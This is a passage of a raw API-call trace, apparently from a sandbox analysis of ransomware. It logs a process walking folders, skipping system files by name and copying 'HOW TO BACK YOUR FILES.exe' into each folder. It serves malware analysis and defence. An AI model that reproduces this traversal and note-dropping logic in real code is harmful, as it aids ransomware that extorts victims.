	[0044.222] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="Apollon865.txt.exe") returned 1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2=".") returned 1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="..") returned 1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="windows") returned -1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="bootmgr") returned 1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="temp") returned -1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="pagefile.sys") returned -1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="boot") returned 1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="ids.txt") returned -1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="ntuser.dat") returned -1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="perflogs") returned -1
	[0044.222] lstrcmpiW (lpString1="frn", lpString2="MSBuild") returned -1
	[0044.222] lstrlenW (lpString="frn") returned 3
	[0044.222] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned 105
	[0044.222] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="frn" | out: lpString1="frn") returned="frn"
	[0044.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0044.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x59a120
	[0044.222] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0044.222] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="Apollon865.txt.exe") returned 1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2=".") returned 1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="..") returned 1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="windows") returned -1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="bootmgr") returned 1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="temp") returned -1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="pagefile.sys") returned -1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="boot") returned 1
	[0044.222] lstrcmpiW (lpString1="grm", lpString2="ids.txt") returned -1
	[0044.223] lstrcmpiW (lpString1="grm", lpString2="ntuser.dat") returned -1
	[0044.223] lstrcmpiW (lpString1="grm", lpString2="perflogs") returned -1
	[0044.223] lstrcmpiW (lpString1="grm", lpString2="MSBuild") returned -1
	[0044.223] lstrlenW (lpString="grm") returned 3
	[0044.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned 105
	[0044.223] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="grm" | out: lpString1="grm") returned="grm"
	[0044.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0044.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x59a200
	[0044.223] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0044.223] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x326decb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x326decb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.223] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.223] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="Apollon865.txt.exe") returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2=".") returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="..") returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="windows") returned -1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="bootmgr") returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="temp") returned -1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="pagefile.sys") returned -1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="boot") returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="ids.txt") returned 1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="ntuser.dat") returned -1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="perflogs") returned -1
	[0044.223] lstrcmpiW (lpString1="itl", lpString2="MSBuild") returned -1
	[0044.223] lstrlenW (lpString="itl") returned 3
	[0044.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned 105
	[0044.223] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="itl" | out: lpString1="itl") returned="itl"
	[0044.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0044.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x59a2e0
	[0044.223] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0044.223] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1
	[0044.223] lstrcmpiW (lpString1="nrw", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="Apollon865.txt.exe") returned 1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2=".") returned 1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="..") returned 1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="windows") returned -1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="bootmgr") returned 1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="temp") returned -1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="pagefile.sys") returned -1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="boot") returned 1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="ids.txt") returned 1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="ntuser.dat") returned -1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="perflogs") returned -1
	[0044.224] lstrcmpiW (lpString1="nrw", lpString2="MSBuild") returned 1
	[0044.224] lstrlenW (lpString="nrw") returned 3
	[0044.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned 105
	[0044.224] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="nrw" | out: lpString1="nrw") returned="nrw"
	[0044.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0044.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x59a3c0
	[0044.224] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0044.224] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="Apollon865.txt.exe") returned 1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2=".") returned 1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="..") returned 1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="windows") returned -1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="bootmgr") returned 1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="temp") returned -1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="pagefile.sys") returned 1
	[0044.224] lstrcmpiW (lpString1="prt", lpString2="boot") returned 1
	[0044.224] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="prt" | out: lpString1="prt") returned="prt"
	[0044.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0044.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x59a4a0
	[0044.224] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0044.224] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1
	[0044.225] lstrcmpiW (lpString1="spn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.225] lstrcmpiW (lpString1="spn", lpString2="Apollon865.txt.exe") returned 1
	[0044.225] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="spn" | out: lpString1="spn") returned="spn"
	[0044.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0044.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x59a580
	[0044.225] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0044.225] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1
	[0044.225] lstrcmpiW (lpString1="swd", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.225] lstrcmpiW (lpString1="swd", lpString2="Apollon865.txt.exe") returned 1
	[0044.225] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="swd" | out: lpString1="swd") returned="swd"
	[0044.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0044.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x5a93c0
	[0044.225] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0044.225] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0
	[0044.225] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.225] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0044.225] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd"
	[0044.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a93c0 | out: hHeap=0x580000) returned 1
	[0044.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0044.225] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned 105
	[0044.225] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd"
	[0044.225] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.225] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\swd\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.231] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.231] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x326decb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326decb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.231] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.231] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.231] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn"
	[0044.231] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a580 | out: hHeap=0x580000) returned 1
	[0044.231] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0044.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned 105
	[0044.231] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn"
	[0044.231] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.231] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\spn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.236] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.236] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x32704e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32704e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.236] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.236] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.236] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt"
	[0044.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a4a0 | out: hHeap=0x580000) returned 1
	[0044.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0044.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned 105
	[0044.236] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt"
	[0044.236] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.236] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\prt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.240] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.240] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x32704e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32704e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.240] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.240] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.240] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw"
	[0044.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a3c0 | out: hHeap=0x580000) returned 1
	[0044.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0044.240] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned 105
	[0044.240] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw"
	[0044.240] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.240] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\nrw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.244] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.244] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x32704e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32704e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.245] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.245] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
